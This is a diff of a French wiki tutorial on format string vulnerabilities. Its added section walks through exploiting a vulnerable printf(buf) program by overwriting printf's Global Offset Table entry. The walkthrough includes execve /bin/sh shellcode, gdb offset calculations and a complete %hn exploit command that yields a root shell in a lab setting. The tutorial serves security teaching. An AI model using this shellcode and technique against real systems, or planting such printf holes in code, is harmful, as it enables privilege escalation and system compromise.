Cette page vous donne les différences entre la révision choisie et la version actuelle de la page.
|
failles_app:format_string [2012/06/27 09:31] ezano [3 La faille Format String, exploitation] |
failles_app:format_string [2017/04/09 15:33] (Version actuelle) |
||
|---|---|---|---|
| Ligne 7: | Ligne 7: | ||
| Je vais donc tenter d’expliquer le principe des Format String de la façon dont j’aurais aimé qu’on le fasse au moment ou j’ai moi-même appris. | Je vais donc tenter d’expliquer le principe des Format String de la façon dont j’aurais aimé qu’on le fasse au moment ou j’ai moi-même appris. | ||
| - | \\ | + | ======= SOMMAIRE ======= |
| - | + | ||
| - | SOMMAIRE | + | |
| - | ---- | + | |
| - | + | ||
| - | \\ | + | |
| * 1 Rappels sur les fonctions de la famille printf() | * 1 Rappels sur les fonctions de la famille printf() | ||
| Ligne 24: | Ligne 19: | ||
| * 2.3.2 Les formateurs "pointeurs" | * 2.3.2 Les formateurs "pointeurs" | ||
| * 2.3.3 Le formateur %n | * 2.3.3 Le formateur %n | ||
| - | * La faille Format String, exploitation | + | * La faille Format String, exploitation classique |
| * 3.1 Théorie | * 3.1 Théorie | ||
| - | * 3.2 Pratique | + | * 3.2 Facilités d'écriture |
| - | + | * 3.2.1 Raccourcis | |
| + | * 3.2.2 Génération de caractères | ||
| + | * 3.3 Pratique | ||
| + | * 4 Exploitation via la Global Offset Table | ||
| + | * Pré-requis | ||
| + | * 4.1 Théorie | ||
| + | * 4.1.1 Section PLT | ||
| + | * 4.1.2 Section GOT | ||
| + | * 4.2 Pratique | ||
| + | * 5 Ressources | ||
| + | \\ | ||
| ======= 1 Rappels sur les fonctions de la famille printf() ======= | ======= 1 Rappels sur les fonctions de la famille printf() ======= | ||
| Ligne 140: | Ligne 144: | ||
| <file X Terminal> | <file X Terminal> | ||
| - | [root@VmZenk:~/tests]$ ./vuln %x%x%x%x | + | [root@VmZenk:~/tests]$ ./vuln "%08x %08x %08x %08x" |
| - | bffffea23fff078257825 | + | bffffea2 000003ff 000000f0 78257825 |
| </file> | </file> | ||
| - | Le formateur %x est donc un formateur "direct" pour la raison suivante : il affiche tout simplement la valeur qu'il trouve sur la pile. Voyons ça avec une petite représentation de la pile. Ne vous inquiétez pas, les valeurs de la pile correspondent à l’affichage sauf que dans le terminal les 0 sont tronqués. | + | Le formateur %x est donc un formateur "direct" pour la raison suivante : il affiche tout simplement la valeur qu'il trouve sur la pile. %08x demande au formateur %x d'afficher la donnée sous la forme d'un nombre décimal de 8 caractère maximum précédé de 0. |
| + | Voyons ça avec une petite représentation de la pile. | ||
| PILE | PILE | ||
| Ligne 435: | Ligne 441: | ||
| + | ======= 4 Exploitation via la Global Offset Table ======= | ||
| + | ====== Pré-requis ====== | ||
| + | <file C vuln.c> | ||
| + | * | ||
| + | * vuln.c | ||
| + | */ | ||
| + | #include <stdio.h> | ||
| + | #include <stdlib.h> | ||
| + | #include <string.h> | ||
| + | int main(int argc, char **argv){ | ||
| + | char buf[256]; | ||
| + | if(argc < 2){ | ||
| + | printf("Usage : ./%s <arg>\n", argv[0]); | ||
| + | exit(0); | ||
| + | } | ||
| + | strncpy(buf, argv[1], 256); | ||
| + | buf[255] = '\0'; | ||
| + | printf(buf); | ||
| + | printf("\n"); | ||
| + | return 0; | ||
| + | } | ||
| + | </file> | ||
| + | ====== 4.1 Théorie ====== | ||
| + | ===== 4.1.1 Section PLT ===== | ||
| + | |||
| + | Il est fréquent que plusieurs programmes aient besoins d'utiliser les mêmes | ||
| + | fonctions. Pour se faire, au lieu de charger les bibliothèques de fonctions à | ||
| + | chaque fois qu'un programme en a besoin, on charge une seule fois les fonctions | ||
| + | en mémoires afin que les programmes puissent utiliser les mêmes copies. | ||
| + | |||
| + | Il existe une section spéciales des programmes compilés (PLT : procedure linkage | ||
| + | table). La PLT est une sorte de table de référence des fonctions. Elle contient | ||
| + | des instructions de saut correspondant à l'adresse d'une fonction. | ||
| + | |||
| + | Il est possible d'étudier la section PLT en détail en la désassemblant. | ||
| + | |||
| + | Ex: | ||
| + | <file X Terminal> | ||
| + | ezano@Practice:~/Hacking $ objdump -d -j .plt ./vuln | ||
| + | |||
| + | ./vuln: file format elf32-i386 | ||
| + | |||
| + | Disassembly of section .plt: | ||
| + | |||
| + | 080482b8 <__gmon_start__@plt-0x10>: | ||
| + | 80482b8: ff 35 40 96 04 08 pushl 0x8049640 | ||
| + | 80482be: ff 25 44 96 04 08 jmp *0x8049644 | ||
| + | 80482c4: 00 00 add %al,(%eax) | ||
| + | ... | ||
| + | |||
| + | 080482c8 <__gmon_start__@plt>: | ||
| + | 80482c8: ff 25 48 96 04 08 jmp *0x8049648 | ||
| + | 80482ce: 68 00 00 00 00 push $0x0 | ||
| + | 80482d3: e9 e0 ff ff ff jmp 80482b8 <_init+0x18> | ||
| + | |||
| + | 080482d8 <strncpy@plt>: | ||
| + | 80482d8: ff 25 4c 96 04 08 jmp *0x804964c | ||
| + | 80482de: 68 08 00 00 00 push $0x8 | ||
| + | 80482e3: e9 d0 ff ff ff jmp 80482b8 <_init+0x18> | ||
| + | |||
| + | 080482e8 <__libc_start_main@plt>: | ||
| + | 80482e8: ff 25 50 96 04 08 jmp *0x8049650 | ||
| + | 80482ee: 68 10 00 00 00 push $0x10 | ||
| + | 80482f3: e9 c0 ff ff ff jmp 80482b8 <_init+0x18> | ||
| + | |||
| + | 080482f8 <printf@plt>: | ||
| + | 80482f8: ff 25 54 96 04 08 jmp *0x8049654 | ||
| + | 80482fe: 68 18 00 00 00 push $0x18 | ||
| + | 8048303: e9 b0 ff ff ff jmp 80482b8 <_init+0x18> | ||
| + | |||
| + | 08048308 <exit@plt>: | ||
| + | 8048308: ff 25 58 96 04 08 jmp *0x8049658 | ||
| + | 804830e: 68 20 00 00 00 push $0x20 | ||
| + | 8048313: e9 a0 ff ff ff jmp 80482b8 <_init+0x18> | ||
| + | </file> | ||
| + | |||
| + | Cette section à l'air sympa, si on arrive à manipuler une instruction de saut et | ||
| + | à redirigé le flux d'execution vers un shellcode, on pourra obtenir un shell | ||
| + | root. | ||
| + | |||
| + | ===== 4.1.2 Section GOT ===== | ||
| + | |||
| + | La section PLT est en lecture seule, ce qui la rend inutilisable pour une | ||
| + | éventuelle réecriture d'adresse. Cependant, en analysant plus en détail les | ||
| + | instructions de saut de la section PLT, on se rend compte qu'elles ne sautent | ||
| + | pas vers des adresses mais vers des pointeurs sur des adresses. Prenons | ||
| + | l'exemple de la fonction printf() | ||
| + | |||
| + | Ex: | ||
| + | <file X Terminal> | ||
| + | 080482f8 <printf@plt>: | ||
| + | 80482f8: ff 25 54 96 04 08 jmp *0x8049654 | ||
| + | 80482fe: 68 18 00 00 00 push $0x18 | ||
| + | 8048303: e9 b0 ff ff ff jmp 80482b8 <_init+0x18> | ||
| + | </file> | ||
| + | |||
| + | On peut voir ici que l'instruction jmp, sert à sauter à l'adresse 0x8049654. | ||
| + | À cette adresse se situe une autre adresse, c'est cette nouvelle adresse, | ||
| + | l'adresse réelle de la fonction printf(). Ces adresses sont contenu dans une | ||
| + | nouvelle section de la mémoire, la Global Offset table (GOT), qui est modifiable. | ||
| + | |||
| + | Il est possible de voir toutes ces adresses en désassemblant la GOT. | ||
| + | |||
| + | Ex: | ||
| + | <file X Terminal> | ||
| + | ezano@Practice:~/Hacking $ objdump -R ./vuln | ||
| + | |||
| + | ./vuln: file format elf32-i386 | ||
| + | |||
| + | DYNAMIC RELOCATION RECORDS | ||
| + | OFFSET TYPE VALUE | ||
| + | 08049638 R_386_GLOB_DAT __gmon_start__ | ||
| + | 08049648 R_386_JUMP_SLOT __gmon_start__ | ||
| + | 0804964c R_386_JUMP_SLOT strncpy | ||
| + | 08049650 R_386_JUMP_SLOT __libc_start_main | ||
| + | 08049654 R_386_JUMP_SLOT printf | ||
| + | 08049658 R_386_JUMP_SLOT exit | ||
| + | </file> | ||
| + | |||
| + | Ici on voit clairement toutes les adresses contenant les adresses réelles des | ||
| + | fonctions de la libc utilisées dans notre programmes vulnérable. Le but est | ||
| + | donc d'ecrire à l'emplacement 08049654 par exemple, l'adresse de notre shellcode. | ||
| + | Ainsi, lorsque le programme voudra executer printf(), il lira la section plt, | ||
| + | on sautera à l'adresse contenue dans 0x08049654 (normalement c'est l'adresse | ||
| + | du shellcode) ce qui exécutera le shellcode. | ||
| + | |||
| + | |||
| + | ====== 4.2 Pratique ====== | ||
| + | |||
| + | Maintenant qu'on a pas mal théorisé, je termine par l'exploitation complète et | ||
| + | commenté. | ||
| + | |||
| + | Ex: (Note: L'exploitation a été réalisé sans l'aslr, mais sachez que l'utilisation | ||
| + | de la GOT avec l'aslr est efficace) | ||
| + | ------------------------------------------------------------------------------- | ||
| + | |||
| + | //On exporte le shellcode...// | ||
| + | <file X Terminal> | ||
| + | ezano@Practice:~/Hacking $ export SHELLCODE=`python -c 'print "\x31\xc0\x31\xdb | ||
| + | \x31\xc9\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53 | ||
| + | \x89\xe1\xb0\x0b\xcd\x80"'` | ||
| + | </file> | ||
| + | |||
| + | |||
| + | //On determine l'adresse...// | ||
| + | <file X Terminal> | ||
| + | ezano@Practice:~/Hacking $ ./get_env SHELLCODE ./vuln | ||
| + | SHELLCODE = 0xbffffa22 | ||
| + | </file> | ||
| + | |||
| + | |||
| + | //On fais les calculs nécessaire pour la réecriture d'adresse...// | ||
| + | <file X Terminal> | ||
| + | ezano@Practice:~/Hacking $ gdbGNU gdb 6.6-debian | ||
| + | Copyright (C) 2006 Free Software Foundation, Inc. | ||
| + | GDB is free software, covered by the GNU General Public License, and you are | ||
| + | welcome to change it and/or distribute copies of it under certain conditions. | ||
| + | Type "show copying" to see the conditions. | ||
| + | There is absolutely no warranty for GDB. Type "show warranty" for details. | ||
| + | This GDB was configured as "i486-linux-gnu". | ||
| + | (gdb) p 0xbfff - 8 | ||
| + | $1 = 49143 | ||
| + | (gdb) p 0xfa22 - 0xbfff | ||
| + | $2 = 14883 | ||
| + | (gdb) q | ||
| + | </file> | ||
| + | |||
| + | |||
| + | //On désassemble la GOT (beaucoup de methodes possible)// | ||
| + | <file X Terminal> | ||
| + | ezano@Practice:~/Hacking $ objdump -R ./vuln | ||
| + | |||
| + | ./vuln: file format elf32-i386 | ||
| + | |||
| + | DYNAMIC RELOCATION RECORDS | ||
| + | OFFSET TYPE VALUE | ||
| + | 08049638 R_386_GLOB_DAT __gmon_start__ | ||
| + | 08049648 R_386_JUMP_SLOT __gmon_start__ | ||
| + | 0804964c R_386_JUMP_SLOT strncpy | ||
| + | 08049650 R_386_JUMP_SLOT __libc_start_main | ||
| + | 08049654 R_386_JUMP_SLOT printf <--- C'est la qu'on va ecrire ---> | ||
| + | 08049658 R_386_JUMP_SLOT exit | ||
| + | </file> | ||
| + | |||
| + | //On exploite...// | ||
| + | <file X Terminal> | ||
| + | ezano@Practice:~/Hacking $ ./vuln $(printf "\x56\x96\x04\x08\x54\x96\x04\x08")%49143x%4\$hn%14883x%5\$hn | ||
| + | sh-3.2# | ||
| + | </file> | ||
| + | w00t. | ||
| + | ======= 5 Ressources ======= | ||
| + | [[http://julianor.tripod.com/bc/formatstring-1.2.pdf|Exploiting Format String Vulnerability]] | ||